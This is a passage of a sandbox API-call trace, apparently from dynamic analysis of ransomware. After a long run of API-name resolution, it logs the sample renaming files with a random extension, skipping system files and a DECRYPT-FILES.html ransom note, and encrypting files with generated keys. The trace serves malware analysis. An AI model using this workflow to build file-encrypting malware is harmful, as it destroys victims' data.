lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0140.161] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0140.161] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0140.161] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0140.161] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0140.161] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0140.161] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0140.162] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0140.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0140.162] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0140.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0140.162] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0140.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0140.162] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0140.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0140.162] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0140.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0140.162] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0140.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0140.162] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0140.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0140.162] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0140.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0140.162] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0140.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0140.162] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0140.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0140.162] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0140.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0140.162] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0140.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0140.162] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0140.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0140.162] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0140.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0140.162] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0140.162] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0140.162] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0140.163] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0140.163] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0140.163] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0140.163] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0140.163] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0140.163] lstrlenA (lpString="COPYCONTEXT") returned 11 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0140.163] lstrlenA (lpString="COPYFILE2") returned 9 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0140.163] lstrlenA (lpString="COPYFILEA") returned 9 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0140.163] lstrlenA (lpString="COPYFILEEXA") returned 11 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0140.163] lstrlenA (lpString="COPYFILEEXW") returned 11 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0140.163] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0140.163] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0140.163] lstrlenA (lpString="COPYFILEW") returned 9 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0140.163] lstrlenA (lpString="COPYLZFILE") returned 10 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0140.163] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0140.163] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0140.163] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0140.163] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0140.164] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0140.164] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0140.164] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0140.164] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0140.164] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0140.164] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0140.164] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0140.164] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0140.164] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0140.164] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0140.164] lstrlenA (lpString="CREATEEVENTA") returned 12 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0140.164] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0140.164] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0140.164] lstrlenA (lpString="CREATEEVENTW") returned 12 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0140.164] lstrlenA (lpString="CREATEFIBER") returned 11 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0140.164] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0140.164] lstrlenA (lpString="CREATEFILE2") returned 11 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0140.164] lstrlenA (lpString="CREATEFILEA") returned 11 [0140.164] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0140.165] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0140.165] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0140.165] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0140.165] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0140.165] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0140.165] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0140.165] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0140.165] lstrlenA (lpString="CREATEFILEW") returned 11 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0140.165] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0140.165] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0140.165] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0140.165] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0140.165] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0140.165] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0140.165] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0140.165] lstrlenA (lpString="CREATEJOBSET") returned 12 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0140.165] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0140.165] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0140.165] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0140.165] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0140.166] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0140.166] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0140.166] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0140.166] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0140.166] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0140.166] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0140.166] lstrlenA (lpString="CREATEPIPE") returned 10 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0140.166] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0140.166] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0140.166] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0140.166] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0140.166] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0140.166] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0140.166] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0140.166] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0140.166] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0140.166] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0140.166] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0140.166] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0140.166] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0140.166] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0140.166] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0140.167] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0140.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0140.167] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0140.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0140.167] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0140.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0140.167] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0140.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0140.167] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0140.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0140.167] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0140.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0140.167] lstrlenA (lpString="CREATETHREAD") returned 12 [0140.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0140.167] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0140.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0140.167] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0140.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0140.167] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0140.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0140.167] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0140.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0140.167] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0140.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0140.167] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0140.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0140.167] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0140.167] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0140.168] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\3076\\eula.rtf.gLqWDyn") returned 43 [0140.168] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.gLqWDyn" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.glqwdyn"), dwFlags=0x0) returned 1 [0140.168] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.169] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.169] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.169] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0140.169] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0140.169] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0140.169] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0140.169] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0140.169] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0140.169] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0140.169] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0140.169] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0140.169] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0140.169] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0140.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\") returned 27 [0140.169] lstrlenW (lpString="LocalizedData.xml") returned 17 [0140.169] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\3076\\" | out: lpString1="C:\\588bce7c90097ed212\\3076\\") returned="C:\\588bce7c90097ed212\\3076\\" [0140.169] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3076\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" [0140.169] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0140.170] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0140.170] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=60816) returned 1 [0140.170] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0140.170] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0140.337] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0140.337] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0140.337] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0140.338] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0140.338] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0140.339] VirtualFree 